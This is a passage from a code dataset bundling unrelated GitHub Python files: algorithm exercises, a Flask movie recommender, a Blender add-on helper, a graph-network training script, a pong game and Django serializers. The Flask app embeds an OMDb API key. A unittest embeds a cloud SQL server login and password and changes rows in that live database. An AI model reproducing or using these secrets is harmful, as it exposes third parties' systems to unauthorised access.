\n","repo_name":"KJSui/leetcode-2020","sub_path":"readNcallMultipletimes.py","file_name":"readNcallMultipletimes.py","file_ext":"py","file_size_in_byte":661,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"40138533130","text":"'''Crear un programa que solicite el ingreso de\nnúmeros enteros positivos, hasta que el usuario\ningrese el 0. Por cada número, informar cuántos\ndígitos pares y cuántos impares tiene.\n\nAl finalizar, informar la cantidad de dígitos\npares y de dígitos impares leídos en total.'''\npares=0\nimpares=0\nn=1\nsuma=0\nwhile True:\n n=int(input('Digite un numero: '))\n if n==0:\n break\n if n%2 == 0:\n pares+=1\n else:\n impares+=1\n suma=0\n while n!=0:\n digito=n%10\n suma+=digito\n n=n//10\n print(\"Suma de sus dígitos:\", suma)\n\nprint(f'Hubo un total de {pares} numeros pares...')\nprint(f'Hubo un total de {impares} numeros impares...')","repo_name":"JPerez1005/Python","sub_path":"Proyectos/3EstructurasRepetitivas(While)/SumaDeDigitos4.0.py","file_name":"SumaDeDigitos4.0.py","file_ext":"py","file_size_in_byte":688,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"8039984482","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[ ]:\n\n\nimport numpy as np\nimport pandas as pd\nimport warnings\nwarnings.filterwarnings('ignore')\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.metrics.pairwise import cosine_similarity\nfrom flask import Flask, request, redirect, render_template, url_for\n\n\n\nFinal_Data = pd.read_csv('Final_Data.csv')\n\n\nFinal_Data.head()\n\n\nFinal_Data['original_title'] =Final_Data['original_title'].map(lambda x: x.lower())\nFinal_Data['Actor1'] =Final_Data['Actor1'].map(lambda x: x.lower())\nFinal_Data['Actor2'] =Final_Data['Actor2'].map(lambda x: x.lower())\nFinal_Data['Actor3'] =Final_Data['Actor3'].map(lambda x: x.lower())\nFinal_Data['Director_Name'] =Final_Data['Director_Name'].map(lambda x: x.lower())\nFinal_Data['genres_list'] = Final_Data['genres_list'].map(lambda x: x.lower())\n\n\nCm = CountVectorizer().fit_transform(Final_Data['Comb'])\n\n\nCs = cosine_similarity(Cm)\n\n\n\nRecomanded_Movie = []\ndef Recomanded_Movies(Title):\n if len(Recomanded_Movie)>0:\n Recomanded_Movie.clear()\n Movie_id = Final_Data[Final_Data.original_title == Title]['id'].index[0]\n Cs_Score = list(enumerate(Cs[Movie_id]))\n Sorted_Score = sorted(Cs_Score, key= lambda x: x[1], reverse=True)\n j = 0\n for item in Sorted_Score:\n \n Movie_ID = Final_Data['original_title'][Final_Data.index == item[0]].values\n if len(Movie_ID)==1:\n Recomanded_Movie.append(Movie_ID[0])\n j = j +1\n if j>6:\n break\n\n\n\napp = Flask(__name__,template_folder='Templates')\n\n\n# In[ ]:\n\n\nRecomanded_Actor = []\ndef Recomanded_Actors(Actor_Name):\n if len(Recomanded_Actor)>0:\n Recomanded_Actor.clear()\n if Final_Data.Actor1[Final_Data.Actor1 == Actor_Name].count()>0:\n Actor_Name1 = Final_Data[Final_Data.Actor1 == Actor_Name]['id'].index[0]\n Cs_Score = list(enumerate(Cs[Actor_Name1]))\n Sorted_Score = sorted(Cs_Score, key= lambda x: x[1], reverse=True)\n j = 0\n for item in Sorted_Score:\n Actor_NAME = Final_Data['original_title'][Final_Data.index == item[0]].values\n if len(Actor_NAME)==1:\n Recomanded_Actor.append(Actor_NAME[0])\n j = j +1\n if j>6:\n break \n elif Final_Data.Actor2[Final_Data.Actor2 == Actor_Name].count()>0:\n Actor_Name2 = Final_Data[Final_Data.Actor2 == Actor_Name]['id'].index[0]\n Cs_Score = list(enumerate(Cs[Actor_Name2]))\n Sorted_Score = sorted(Cs_Score, key= lambda x: x[1], reverse=True)\n j = 0\n for item in Sorted_Score:\n Actor_NAME = Final_Data['original_title'][Final_Data.index == item[0]].values\n if len(Actor_NAME)==1:\n Recomanded_Actor.append(Actor_NAME[0])\n j = j +1\n if j>6:\n break \n return Cs_Score\n elif Final_Data.Actor3[Final_Data.Actor3 == Actor_Name].count()>0:\n Actor_Name3 = Final_Data[Final_Data.Actor3 == Actor_Name]['id'].index[0]\n Cs_Score = list(enumerate(Cs[Actor_Name3]))\n Sorted_Score = sorted(Cs_Score, key= lambda x: x[1], reverse=True)\n j = 0\n for item in Sorted_Score:\n Actor_NAME = Final_Data['original_title'][Final_Data.index == item[0]].values\n if len(Actor_NAME)==1:\n Recomanded_Actor.append(Actor_NAME[0])\n j = j +1\n if j>6:\n break\n elif Final_Data.Director_Name[Final_Data.Director_Name == Actor_Name].count()>0:\n Dirct_Name = Final_Data[Final_Data.Director_Name == Actor_Name]['id'].index[0]\n Cs_Score = list(enumerate(Cs[Dirct_Name]))\n Sorted_Score = sorted(Cs_Score, key= lambda x: x[1], reverse=True)\n j = 0\n for item in Sorted_Score:\n Actor_NAME = Final_Data['original_title'][Final_Data.index == item[0]].values\n if len(Actor_NAME)==1:\n Recomanded_Actor.append(Actor_NAME[0])\n j = j +1\n if j>6:\n break\n elif Final_Data.genres_list[Final_Data.genres_list == Actor_Name].count()>0:\n Genre_ID = Final_Data[Final_Data.genres_list == Actor_Name]['id'].index[0]\n Cs_Score = list(enumerate(Cs[Genre_ID]))\n Sorted_Score = sorted(Cs_Score, key= lambda x: x[1], reverse=True)\n j = 0\n for item in Sorted_Score:\n Genre_NAME = Final_Data['original_title'][Final_Data.index == item[0]].values\n if len(Genre_NAME)==1:\n Recomanded_Actor.append(Genre_NAME[0])\n j = j +1\n if j>6:\n break\n \n \n \n else:\n print('N/A') \n\n\n# In[ ]:\n\n\nfrom omdbapi.movie_search import GetMovie\n\n\n# In[ ]:\n\n\nFinal_Data.shape\n\n\n# In[ ]:\n\n\nFinal_Data.tail(20)\n\n\n# In[ ]:\n\n\ndef Poster(Title):\n movie = GetMovie(title=Title, api_key='457c3e6d')\n movie = GetMovie(title= Title, api_key='457c3e6d', plot='full')\n Url =movie.get_data('Poster')\n for i in Url:\n poster = Url[i]\n return poster\n\n\n# In[ ]:\n\n\nTitel_Ratings = []\ndef Titel_Fetch(Titles):\n if len(Titel_Ratings)>0:\n Titel_Ratings.clear()\n movie = GetMovie(title=Titles, api_key='457c3e6d')\n movie = GetMovie(title= Titles, api_key='457c3e6d', plot='full')\n Titel_Rating =movie.get_data('Title','Year','Director','Actors','imdbRating')\n for i in Titel_Rating:\n Titel_Ratings.append(Titel_Rating[i])\n return Titel_Ratings\n\n\n# In[ ]:\n\n\nRecomanded_Movie_Posters = []\ndef Recomandation_Posters_Movie():\n if len(Recomanded_Movie_Posters)>0:\n Recomanded_Movie_Posters.clear()\n for i in Recomanded_Movie:\n if Poster(i) != 'N/A' and Poster(i) != 'key not found!':\n Recomanded_Movie_Posters.append(Poster(i))\n return Recomanded_Movie_Posters\n\n\n# In[ ]:\n\n\nList_Url = []\ndef List_Poster_BY_Actor_Director(Name):\n if len(List_Url)>0:\n List_Url.clear()\n Recomanded_Actors(Name)\n for i in Recomanded_Actor:\n List_Url.append(Poster(i))\n return List_Url\n\n\n# In[ ]:\n\n\n@app.route('/')\ndef home():\n return render_template('index.html')\n\n\n# In[ ]:\n\n\n@app.route('/Movies',methods=['POST', 'GET'])\ndef Movies():\n Movie_Nm = request.form[\"Movie_Name\"]\n Movie_Nm = Movie_Nm.lower()\n Int = Final_Data['id'][Final_Data['original_title'] == Movie_Nm].count()\n Act1 = Final_Data.Actor1[Final_Data.Actor1 == Movie_Nm].count()\n Act2 = Final_Data.Actor2[Final_Data.Actor2 == Movie_Nm].count()\n Act3 = Final_Data.Actor3[Final_Data.Actor3 == Movie_Nm].count()\n Dict_Name = Final_Data.Director_Name[Final_Data.Director_Name == Movie_Nm].count()\n Genre_nm = Final_Data.genres_list[Final_Data.genres_list == Movie_Nm].count()\n if Int>0:\n Movie_Poster = Poster(Movie_Nm)\n Recomanded_Movies(Movie_Nm)\n Recomandation_Posters_Movie()\n Titel_Fetch(Movie_Nm)\n return render_template('index.html',url = Movie_Poster,rcm1 = Recomanded_Movie_Posters[0],\n rcm2 = Recomanded_Movie_Posters[1], rcm3 = Recomanded_Movie_Posters[2],\n Title = \"Title: \",Name_T =Titel_Ratings[0], Year =\"Year: \",YY = Titel_Ratings[1],\n Director = \"Director: \",Name_D = Titel_Ratings[2],Actors ='Actors: ',Name_A = Titel_Ratings[3],\n IMDB = \"Ratings: \", Rating = Titel_Ratings[4] )\n elif Act1>0 or Act2>0 or Dict_Name>0 or Genre_nm>0:\n List_Poster_BY_Actor_Director(Movie_Nm)\n \n return render_template('index.html',rc1 = List_Url[0],rc2 = List_Url[1],rc3 = List_Url[2], \n rc4 = List_Url[3],rc5 = List_Url[4],rc6 =List_Url[5])\n \n else:\n return render_template('index.html',Your_Movie = \"Not Available\")\n\n\n# In[ ]:\n\n\n\nif __name__ == \"__main__\":\n app.run(debug=False)\n\n","repo_name":"DataScientistAditya/Movie-Recommandation-System","sub_path":"Apps.py","file_name":"Apps.py","file_ext":"py","file_size_in_byte":7914,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"19031547744","text":"#!/usr/bin/python\n \nimport unittest\nimport pymssql\n \nclass FooTest(unittest.TestCase):\n \"\"\"Sample test case\"\"\" \n # preparing to test\n def setUp(self):\n \"\"\" Setting up for the test \"\"\"\n print(\"FooTest:setUp_:begin\")\n self.conn = pymssql.connect(server='eats.database.windows.net',\\\n user='th2520@eats',\\\n password='123*&$eats',\\\n database='AERIS')\n print(\"FooTest:setUp_:end\")\n \n \n \n # test routine A\n def testA(self):\n \"\"\"Test routine A\"\"\"\n conn = self.conn\n cursor = conn.cursor()\n cursor.execute(\"INSERT INTO Contacts VALUES ('Amy',3333333333 )\")\n conn.commit()\n print (\"FooTest:testA\")\n\n # test routine B\n def testB(self):\n \"\"\"Test routine B\"\"\"\n conn = self.conn\n cursor = conn.cursor()\n cursor.execute(\"UPDATE Contacts SET name = 'Nilar' WHERE number = 4545454545\")\n conn.commit() \n print (\"FooTest:testB\")\n\n # test routine C\n def testC(self):\n \"\"\"Test routine C\"\"\"\n conn = self.conn\n cursor = conn.cursor()\n cursor.execute(\"DELETE FROM Contacts WHERE number=4567123456\")\n conn.commit() \n print (\"FooTest:testC\")\n\n # ending the test\n def tearDown(self):\n \"\"\"Cleaning up after the test\"\"\"\n print(\"FooTest:tearDown_:begin\")\n self.conn.close()\n print(\"FooTest:tearDown_:end\")\n\nif __name__ == '__main__':\n unittest.main()","repo_name":"aw2802/ASE-hw2","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1497,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"35863555628","text":"#Name :Sahil Mahendra Mody\n#Cwid:20007262\n\n\n\ndef fibonacci(num):\n res=[]\n a=0\n b=1\n\n count=0\n\n if num < 0:\n return False\n elif num == 0:\n return True\n elif num == 1:\n return True \n else:\n while count<=num:\n c=a+b\n res.append(c)\n a=b\n b=c\n count+=1\n\n\n print(res)\n if num in res:\n return True\n return False \n\n\nnum=int(input(\"Enter a number to check whether it is in fibonacci series:\"))\nprint(fibonacci(num))\n ","repo_name":"sahil-1811/SSW-810","sub_path":"Midterm/Sahil_Mody_Problem2.py","file_name":"Sahil_Mody_Problem2.py","file_ext":"py","file_size_in_byte":561,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"33145181511","text":"import bpy\nimport inspect\nimport traceback\nfrom .. import utils\n\n\ndef tab(panel: bpy.types.Panel) -> str:\n if getattr(panel, 'bl_parent_id', None):\n parent = getattr(bpy.types, panel.bl_parent_id, None)\n\n if parent:\n return tab(parent)\n\n if getattr(panel, 'original_category', None):\n return panel.original_category\n\n if getattr(panel, 'bl_category', None):\n return panel.bl_category\n\n return 'Misc'\n\n\ndef is_excluded(panel: bpy.types.Panel) -> bool:\n prefs = utils.addon.prefs()\n exclude = [tab.strip() for tab in prefs.exclude_tabs.split(',')]\n return tab(panel) in exclude\n\n\ndef module(panel: bpy.types.Panel) -> str:\n try:\n return inspect.getmodule(panel).__name__.split('.')[0]\n except:\n utils.addon.popup('ERROR', f'{panel} has no module')\n\n\ndef is_special(panel: bpy.types.Panel) -> bool:\n special = {\n utils.hops.get_module(),\n utils.bc.get_module(),\n }\n\n return module(panel) in special\n\n\ndef is_registered(panel: bpy.types.Panel) -> bool:\n return hasattr(bpy.types, idname(panel))\n\n\ndef idname(panel: bpy.types.Panel) -> str:\n if getattr(panel, 'bl_idname', None):\n return panel.bl_idname\n else:\n return panel.__name__\n\n\ndef poll(panel: bpy.types.Panel) -> bool:\n if hasattr(panel, 'poll'):\n try:\n if not panel.poll(bpy.context):\n return False\n except:\n return False\n\n return True\n\n\ndef check(panel: bpy.types.Panel) -> bool:\n if getattr(panel, 'bl_parent_id', None):\n parent = getattr(bpy.types, panel.bl_parent_id, None)\n\n if parent:\n return check(parent)\n\n if getattr(panel, 'bl_space_type', None) != 'VIEW_3D':\n return False\n\n if getattr(panel, 'bl_region_type', None) != 'UI':\n return False\n\n if is_excluded(panel):\n return False\n\n if is_special(panel):\n return False\n\n if not is_registered(panel):\n return False\n\n if module(panel) != 'bl_ui':\n if not poll(panel):\n return False\n\n return True\n\n\ndef panels() -> list:\n panels = []\n\n def find_subclasses(a):\n for b in a.__subclasses__():\n if check(b):\n panels.append(b)\n\n find_subclasses(b)\n\n find_subclasses(bpy.types.Panel)\n\n return panels\n\n\ndef tabs() -> set:\n tabs = set()\n\n for panel in panels():\n tabs.add(tab(panel))\n\n return tabs\n\n\ndef update(panel: bpy.types.Panel):\n try:\n bpy.utils.unregister_class(panel)\n except:\n print('-' * 50)\n print(f'Failed to unregister {panel}')\n traceback.print_exc()\n print('-' * 50)\n return\n\n try:\n bpy.utils.register_class(panel)\n except:\n print('-' * 50)\n print(f'Failed to register {panel}')\n traceback.print_exc()\n print('-' * 50)\n\n\ndef show():\n prefs = utils.addon.prefs()\n\n if prefs.show_sidebar:\n if hasattr(bpy.context.space_data, 'show_region_ui'):\n if not bpy.context.space_data.show_region_ui:\n bpy.context.space_data.show_region_ui = True\n","repo_name":"chippwalters/simple-tabs","sub_path":"addon/utils/sidebar.py","file_name":"sidebar.py","file_ext":"py","file_size_in_byte":3139,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"82"} +{"seq_id":"36838624057","text":"import csv\r\nimport dgl\r\nimport os\r\nimport sys\r\nimport torch\r\nimport argparse\r\nimport logging\r\nimport torch.nn as nn\r\nimport torch.nn.functional as F\r\nimport torch.optim as optim\r\nimport matplotlib.pyplot as plt\r\nimport pandas as pd\r\nimport numpy as np\r\n\r\nfrom torch.utils.data import DataLoader\r\nfrom dataset import DesignDataset\r\nfrom model import MetricPredictor\r\nfrom netlist import read_netlist\r\nfrom log import get_logger\r\n\r\n\r\n# setup device\r\ndevice = torch.device(\"cuda:{}\".format(0) if torch.cuda.is_available() else \"cpu\")\r\n\r\ndef collate(samples):\r\n IDs, Gs, Ms = [], [], []\r\n for s in samples:\r\n IDs.append(s['id'])\r\n Gs.append(s['design'])\r\n Ms.append(s['metrics'].view(-1, 1))\r\n return IDs, dgl.batch(Gs).to(device), torch.cat(Ms, dim=0)\r\n\r\nif __name__ == \"__main__\":\r\n parser = argparse.ArgumentParser(add_help=True)\r\n parser.add_argument(\"output_dir\", type=str, \\\r\n help=\"Output directory of the model\")\r\n parser.add_argument(\"-model\", type=str, required=False, default=None, \\\r\n help=\"Path of model. If passed, training is skipped.\")\r\n parser.add_argument(\"-epochs\", type=int, required=False, default=100, \\\r\n help=\"Number of epochs\")\r\n parser.add_argument(\"-lr\", type=float, required=False, default=1e-4, \\\r\n help=\"Learning rate\")\r\n parser.add_argument(\"-batch_size\", type=int, required=False, default=32, \\\r\n help=\"Batch size\")\r\n parser.add_argument(\"-gcn_hidden_dim\", type=int, required=False, default=256, \\\r\n help=\"Number of hidden units of GCN\")\r\n parser.add_argument(\"-netlist_embedding_size\", type=int, required=False, default=128, \\\r\n help=\"Embedding size of the netlist\")\r\n parser.add_argument(\"-predictor_hidden_dim\", type=int, required=False, default=192, \\\r\n help=\"Number of hidden units of the last-layer predictor\")\r\n\r\n args = parser.parse_args()\r\n logging.getLogger('matplotlib.font_manager').disabled = True\r\n\r\n logger = get_logger()\r\n learning_rate = args.lr\r\n epochs = args.epochs\r\n batch_size = args.batch_size\r\n\r\n # setup playground\r\n if not os.path.exists(args.output_dir):\r\n os.makedirs(args.output_dir)\r\n prefix = [args.epochs, args.lr, args.gcn_hidden_dim, args.netlist_embedding_size, \\\r\n args.predictor_hidden_dim]\r\n prefix = '-'.join(list(map(str, prefix)))\r\n\r\n # load designs\r\n dgl_graphs = 'data/dgl'\r\n dgl_files = [f for f in os.listdir(dgl_graphs) if os.path.isfile(os.path.join(dgl_graphs, f)) and f.endswith(\".dgl\")]\r\n Gs = {}\r\n for dgl_file in dgl_files:\r\n design = '.'.join(dgl_file.split('.')[:-1])\r\n g = read_netlist('', os.path.join(dgl_graphs, design))\r\n design = '.'.join(dgl_file.split('.')[:-2])\r\n Gs[design] = g\r\n\r\n # load dataset\r\n train_dataset = DesignDataset(Gs, 'data/train.csv')\r\n test_dataset = DesignDataset(Gs, 'data/test.csv')\r\n \r\n # define model\r\n model = MetricPredictor(2, args.gcn_hidden_dim, args.netlist_embedding_size, \\\r\n args.predictor_hidden_dim).to(device)\r\n loss_func = nn.MSELoss()\r\n\r\n _min = 1.0\r\n _max = 12012.0\r\n if not args.model:\r\n optimizer = optim.Adam(model.parameters(), lr=learning_rate)\r\n\r\n # train\r\n model.train()\r\n epoch_losses = []\r\n for epoch in range(epochs):\r\n epoch_loss = 0\r\n dataloader = DataLoader(train_dataset, batch_size=batch_size, shuffle=True, num_workers=batch_size, collate_fn=collate)\r\n for i_batch, (_, G, M) in enumerate(dataloader):\r\n _, prediction = model(G)\r\n loss = loss_func(prediction.to(device), M.to(device))\r\n optimizer.zero_grad()\r\n loss.backward()\r\n optimizer.step()\r\n epoch_loss += loss.detach().item()\r\n\r\n if i_batch % 10 == 0:\r\n logger.info('Epoch: {}, iteration: {}, MSE: {:.4f}'.format(epoch, i_batch, epoch_loss / (i_batch+1)))\r\n \r\n i_batch += 1\r\n epoch_loss /= i_batch\r\n\r\n mse = epoch_loss\r\n rmse = mse ** 0.5\r\n scaled_rmse = (rmse * (_max - _min)) + _min\r\n logger.info('Epoch {}, MSE {:.4f}'.format(epoch, mse))\r\n logger.info('Epoch {}, RMSE {:.4f}'.format(epoch, rmse))\r\n logger.info('Epoch {}, Scaled RMSE {:.4f}'.format(epoch, scaled_rmse))\r\n epoch_losses.append(epoch_loss)\r\n\r\n \r\n with open(os.path.join(args.output_dir, prefix + '-training-losses.log'), 'w') as f:\r\n f.write('\\n'.join(list(map(str, epoch_losses))))\r\n\r\n torch.save(model.state_dict(), os.path.join(args.output_dir, prefix + '-model.pth'))\r\n else:\r\n logger.info(\"Skipping training. Loading an existing model.\")\r\n model.load_state_dict(torch.load(args.model))\r\n\r\n # test\r\n losses = []\r\n embeddings = []\r\n model.eval()\r\n dataloader = DataLoader(test_dataset, batch_size=batch_size, shuffle=True, num_workers=batch_size, collate_fn=collate)\r\n for i_batch, (ID, G, M) in enumerate(dataloader):\r\n print(i_batch)\r\n graph_embeeding, prediction = model(G)\r\n loss = loss_func(prediction.to(device), M.to(device))\r\n losses.append(loss.detach().item())\r\n\r\n embeddings.append((ID, graph_embeeding.tolist(), prediction.tolist(), M.tolist()))\r\n\r\n \r\n with open(os.path.join(args.output_dir, prefix + '.log'), 'w') as f:\r\n for arg in vars(args):\r\n f.write(str(arg) + ': ' + str(getattr(args, arg)) + '\\n')\r\n f.write('\\n\\n')\r\n mse = torch.mean(torch.tensor(losses))\r\n rmse = mse ** 0.5\r\n scaled_rmse = (rmse * (_max - _min)) + _min\r\n f.write('MSE: {}\\n'.format(mse))\r\n f.write('RMSE {:.4f}\\n'.format(rmse))\r\n f.write('Scaled RMSE {:.4f}'.format(scaled_rmse))\r\n \r\n logger.info('MSE: {}\\n'.format(mse))\r\n logger.info('RMSE {:.4f}\\n'.format(rmse))\r\n logger.info('Scaled RMSE {:.4f}'.format(scaled_rmse))\r\n\r\n with open(os.path.join(args.output_dir, prefix + '-embeddings.csv'), 'w') as f:\r\n for e in embeddings:\r\n ID, graph_embeddings, prediction, actual = e\r\n for i in range(len(ID)):\r\n line = str(ID[i]) + ','\r\n line += ';'.join(list(map(str, graph_embeddings[i]))) + ','\r\n line += str(prediction[i][0]) + ','\r\n line += str(actual[i][0]) + '\\n'\r\n f.write(line)\r\n","repo_name":"scale-lab/EDAonCloud","sub_path":"2_prediction/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":6504,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"82"} +{"seq_id":"74252375309","text":"\"\"\"42. Trapping Rain Water\n\nGiven n non-negative integers representing an elevation map where the width of each bar is 1, compute how much water it is able to trap after raining.\n\n1: bar\n0: water\n\n 1\n 1 . . . 1 1 . 1\n _ 1 . 1 1 . 1 1 1 1 1 1\n \n 0 1 2 3 4 5 6 7 8 9 1011 \n \nThe above elevation map is represented by array [0,1,0,2,1,0,1,3,2,1,2,1]. In this case, 6 units of rain water (blue section) are being trapped. Thanks Marcos for contributing this image!\n\nExample:\n\nInput: [0,1,0,2,1,0,1,3,2,1,2,1]\nOutput: 6\n\"\"\"\n# Solution 1, \n# Stack, time: O(n), space: O(n)\nclass Solution(object):\n def trap(self, height):\n \"\"\"\n :type height: List[int]\n :rtype: int\n \"\"\"\n # The water could be trapped in a number of local \"ponds\", where each pond has\n # a left slope (non increasing bars) and right slope (non decreassing bars).\n #\n # We maintain a stack holding bar indices of the left slope, where bar heights\n # are non-increasing, and as soon as we find the first bar with height > the\n # height of the bar at the top of the stack, there must be water trapped between\n # these current bar and the bar below the top\n #\n # 1\n # 1 1 \n # 1 1 1 1\n # 1 1 1 1 0 0 1\n # ^ ^ ^ t i\n # t: top\n # i: current bar\n # ^: bar indices on stack\n # water trapped between the most recent ^ and i\n \n # Note: if current bar `i` has the same height as the top of stack, we pop\n # the top and push the new index `i`, since we want to keep the most recent\n # bar.\n if not height:\n return 0\n \n # find the leftmost positive height as the initial left bar \n left = 0\n while left < len(height):\n if height[left] > 0:\n break\n left += 1 \n \n stack = [left]\n area = 0\n \n #\n # o\n # o o\n # ooo o \n # ooo o\n # oooo....o\n # 012345678\n # tj i\n # stack = [0, 2, 3, 4]\n # i = 8\n # \n # the amount of water trapped will be\n # (i - t - 1) * (min(height[t], height[i]) - height[j]) == 4 * 1\n i = left + 1\n while i < len(height):\n if not stack or height[stack[-1]] > height[i]:\n stack.append(i)\n i += 1\n else:\n j = stack.pop()\n if stack and height[j] < height[i]:\n area += (i - stack[-1] - 1) * (min(height[stack[-1]], height[i]) - height[j])\n \n return area \n \n# Solution 2\n# DP, time: O(n), space: O(n)\nclass Solution(object):\n def trap(self, height):\n \"\"\"\n :type height: List[int]\n :rtype: int\n \"\"\"\n if not height:\n return 0\n \n # Water can't be trapped at the first (0) and last bar (`len(height)` - 1).\n # For internal bars (i.e. [1, len(height) - 2]), if we know the max-height\n # bar from the left, and max-height bar from the right,\n # we can compute the water trapped as \n #\n # `min(max_height_left, max_height_right)` - `height[i]`\n \n # Use DP to keep track of the max-height bars from left and from right.\n # They will be reused when computing water trapped across internal bars.\n area = 0\n max_sofar_left = [0 for _ in range(len(height))] \n max_sofar_right = [0 for _ in range(len(height))]\n \n max_sofar_left[0] = height[0]\n for i in range(1, len(height)):\n max_sofar_left[i] = max(max_sofar_left[i - 1], height[i])\n \n max_sofar_right[-1] = height[-1]\n for i in range(len(height) - 2, -1, -1):\n max_sofar_right[i] = max(max_sofar_right[i + 1], height[i])\n \n for i in range(1, len(height) - 1):\n side = min(max_sofar_left[i - 1], max_sofar_right[i + 1])\n if side > height[i]:\n area += (side - height[i])\n \n return area \n","repo_name":"chao-ji/LeetCode","sub_path":"python/stack/lc42.py","file_name":"lc42.py","file_ext":"py","file_size_in_byte":3783,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"71525523789","text":"import pygame, sys, math\nfrom pygame.locals import *\n\nheight = 400\nwidth = 500\np_height = 30\np_width = 10\npygame.init()\ndisp = pygame.display.set_mode((width, height), 0, 32)\n\ndef draw_paddle(x, center_y, height, col):\n y = center_y - height / 2\n pygame.draw.rect(disp, col, (x, y, p_width, height))\n\ndef draw_ball(x, y, col):\n pygame.draw.circle(disp, col, (x, y), 5)\n\ndef collides(left, rect_width, rect_height, rect_x, rect_y, bx, by, r):\n if by - r <= rect_y + rect_height / 2 and by + r >= rect_y - rect_height / 2:\n if left:\n return bx - r <= rect_x + rect_width\n else:\n return bx + r >= rect_x - rect_width\n return False\n\ndef main():\n fY = lambda y: abs(40 * math.sin((math.pi * y) / 200))\n\n p1 = height / 2\n p2 = height / 2\n\n white = (255,255,255)\n blue = (0,0,255)\n red = (255,0,0)\n\n dx = 0.2\n dy = 0.1\n pdy0 = 0\n pdy1 = 0\n bx = width // 2\n by = height // 2\n\n clock = pygame.time.Clock()\n\n while True:\n dt = clock.tick(60)\n bx += dx * dt\n by += dy * dt\n p1 += pdy1 * dt\n p2 += pdy0 * dt#p2 = by\n\n disp.fill(white)\n draw_paddle(width - 12 - fY(p2), p2, p_height, blue)\n draw_paddle(2 + fY(p1), p1, p_height, blue)#2 + fY(p1)\n draw_ball(int(bx), int(by), red)\n\n if collides(True, p_width, p_height, 2 + fY(p1), p1, bx, by, 5):\n dx = -dx\n elif collides(False, p_width, p_height, width - 2 - fY(p2), p2, bx, by, 5):\n dx = -dx\n\n if by - 5 <= 0 or by + 5 >= height: dy = -dy\n if bx <= 0 or bx >= width:\n bx = width // 2\n by = height // 2\n dx = 0.2\n dy = 0.1\n\n for event in pygame.event.get():\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_w:\n pdy1 = -0.2\n if event.key == pygame.K_s:\n pdy1 = 0.2\n if event.key == pygame.K_UP:\n pdy0 = -0.2\n if event.key == pygame.K_DOWN:\n pdy0 = 0.2\n if event.type == pygame.KEYUP:\n if event.key == pygame.K_UP or event.key == pygame.K_DOWN:\n pdy0 = 0\n if event.key == pygame.K_w or event.key == pygame.K_s:\n pdy1 = 0\n\n if event.type == QUIT:\n pygame.quit()\n sys.exit()\n pygame.display.update()\n\nmain()\n","repo_name":"iammaguire/Python-Stuff-2","sub_path":"pong.py","file_name":"pong.py","file_ext":"py","file_size_in_byte":2484,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"73127961548","text":"from rest_framework.serializers import (\n CharField,\n FloatField,\n IntegerField,\n ModelSerializer,\n)\nfrom rest_framework.exceptions import ValidationError\n\nfrom segments.models import Color, ColorType, Company, Rack, Section, Segment, OrderNumber\n\n\nclass OrderSerializer(ModelSerializer):\n\n class Meta:\n model = OrderNumber\n fields = ['name']\n\n\nclass CompanySerializer(ModelSerializer):\n\n class Meta:\n model = Company\n fields = ['name', 'slug', 'image']\n\n\nclass SectionSerializer(ModelSerializer):\n\n company = CompanySerializer()\n segments_count = IntegerField()\n racks_count = IntegerField()\n square_sum = FloatField()\n\n class Meta:\n model = Section\n fields = [\n 'name',\n 'slug',\n 'company',\n 'segments_count',\n 'racks_count',\n 'square_sum',\n ]\n\n\nclass ColorTypeSerializer(ModelSerializer):\n\n class Meta:\n model = ColorType\n fields = ['name', 'slug']\n\n\nclass RackSerializer(ModelSerializer):\n\n class Meta:\n model = Rack\n fields = ['id', 'name']\n\n\nclass ColorSerializer(ModelSerializer):\n\n type = ColorTypeSerializer()\n\n class Meta:\n model = Color\n fields = ['id', 'name', 'slug', 'type']\n\n\nclass SegmentDetailSerializer(ModelSerializer):\n color = ColorSerializer(read_only=True)\n racks = RackSerializer(many=True, read_only=True, source='get_racks')\n\n class Meta:\n model = Segment\n fields = [\n 'width', 'height', 'square', 'created', 'deleted', 'defect',\n 'description', 'active', 'color', 'order_number', 'racks', 'rack',\n ]\n read_only_fields = [\n 'color', 'racks', 'width', 'height', 'square', 'created', 'deleted',\n ]\n\n def validate(self, attrs):\n if attrs.get('defect') and not attrs.get('description'):\n raise ValidationError('Описание обязательно при отметки дефекта.')\n return attrs\n\n\nclass SegmentListSerializer(ModelSerializer):\n color = ColorSerializer()\n rack = CharField(source='rack.name')\n order_number = OrderSerializer()\n\n class Meta:\n model = Segment\n fields = [\n 'id', 'width', 'height', 'square', 'created', 'deleted', 'defect',\n 'description', 'active', 'color', 'order_number', 'rack',\n ]\n","repo_name":"ExpoPythonist/segments__s","sub_path":"api/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":2409,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"39009281898","text":"import yaml\nfrom easydict import EasyDict\nfrom jsonschema import validate\nfrom .schema import SCHEMA\n\nLOG_FILTER_TEMPLATE = '''\n {{%- if data.level <= {loglevel} -%}}\n pass\n {{%- else -%}}\n nomatch\n {{%- endif -%}}'''\n\nLOG_COLOR_TEMPLATE = '''\n {%- if data.level == 0 -%}\n \\x1B[0;35m\n {%- elif data.level == 1 -%}\n \\x1B[1;35m\n {%- elif data.level == 2 -%}\n \\x1B[0;31m\n {%- elif data.level == 3 -%}\n \\x1B[1;31m\n {%- elif data.level == 4 -%}\n \\x1B[1;33m\n {%- elif data.level == 5 -%}\n \\x1B[1;30m\n {%- elif data.level == 